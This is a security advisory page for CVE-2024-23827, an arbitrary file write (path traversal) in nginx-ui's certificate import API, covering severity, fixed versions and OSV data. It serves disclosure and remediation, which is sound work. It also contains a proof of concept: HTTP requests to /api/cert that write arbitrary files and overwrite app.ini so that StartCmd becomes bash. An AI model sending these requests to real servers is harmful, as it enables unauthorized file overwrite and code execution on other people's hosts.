CVE-2024-23827: Github.com/0xJacky/Nginx UI Nginx-UI Vulnerable To Arbitrary File Vulnerability

CRITICAL
Advisory Identifier: GHSA-xvq9-4vpv-227m
CVSS 9.8
CWE-22
Published
Advisory Summary

CVE-2024-23827 is a CRITICAL (CVSS 9.8) nginx-ui vulnerable to arbitrary file vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui vulnerable to arbitrary file write through the import certificate feature. Remediation is available by upgrading affected packages to version 1.9.10-0.20240128060047-8581bdd3c6f4.

CVE-2024-23827 at a Glance

CVE Identifier CVE-2024-23827
GHSA Identifier GHSA-xvq9-4vpv-227m
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/0xJacky/Nginx UI
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-23827

To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/Nginx-UI fixed: 1.9.10-0.20240128060047-8581bdd3c6f4
Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20240128060047-8581bdd3c6f4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/Nginx-UI

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-23827, inspect your project dependencies for Github.com/0xJacky/Nginx UI:

inspect dependencies for github.com/0xJacky/Nginx-UI

Analyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.10-0.20240128060047-8581bdd3c6f4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be applied the app needs to be restarted ![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png) ### Impact Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

CVE-2024-23827 Affected Github.com/0xJacky/Nginx UI Versions

1 component(s)
Fixed Versions:
1.9.10-0.20240128060047-8581bdd3c6f4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/Nginx-UI
Go
< 1.9.10-0.20240128060047-8581bdd3c6f4
1.9.10-0.20240128060047-8581bdd3c6f4

References

Frequently Asked Questions

What is CVE-2024-23827?
CVE-2024-23827 is a security vulnerability in Github.com/0xJacky/Nginx UI involving Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/0xJacky/Nginx UI versions are affected?
Affected versions include releases prior to 1.9.10-0.20240128060047-8581bdd3c6f4 across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2024-23827?
Upgrading to 1.9.10-0.20240128060047-8581bdd3c6f4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to 1.9.10-0.20240128060047-8581bdd3c6f4. Upgrade your dependency to 1.9.10-0.20240128060047-8581bdd3c6f4 or later.
What is the CVSS score of CVE-2024-23827?
CVE-2024-23827 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-23827?
CVE-2024-23827 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2024-23827?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xvq9-4vpv-227m",
  "modified" : "2026-07-06T19:16:56Z",
  "published" : "2024-01-29T22:30:18Z",
  "aliases" : [ "CVE-2024-23827" ],
  "summary" : "Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature",
  "details" : "### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName                  string `json:\"name\"`\n\t\tSSLCertificatePath    string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate        string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey     string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod       string `json:\"challenge_method\"`\n\t\tDnsCredentialID       int    `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, &json) {\n\t\treturn\n\t}\n\tcertModel := &model.Cert{\n\t\tName:                  json.Name,\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod:       json.ChallengeMethod,\n\t\tDnsCredentialID:       json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := &cert.Content{\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate:        json.SSLCertificate,\n\t\tSSLCertificateKey:     json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: <JWT>\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: <JWT>\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost          = 0.0.0.0\\r\\nHttpPort          = 9000\\r\\nRunMode           = debug\\r\\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail             = props@pros.com\\r\\nDatabase          = database\\r\\nStartCmd          = bash\\r\\nCADir             = dqsdqsd\\r\\nDemo              = false\\r\\nPageSize          = 10\\r\\nGithubProxy       = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath  =\\r\\nConfigDir     =\\r\\nPIDPath       =\\r\\nTestConfigCmd =\\r\\nReloadCmd     =\\r\\nRestartCmd    =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken   =\\r\\nProxy   =\\r\\nModel   = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint     =\\r\\nClientId     =\\r\\nClientSecret =\\r\\nCertificate  =\\r\\nOrganization =\\r\\nApplication  =\\r\\nRedirectUri  =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.10-0.20240128060047-8581bdd3c6f4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-xvq9-4vpv-227m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-23827"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/commit/8581bdd3c6f49ab345b773517ba9173fa7fc6199"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-29T22:30:18Z",
    "nvd_published_at" : "2024-01-29T16:15:09Z"
  }
}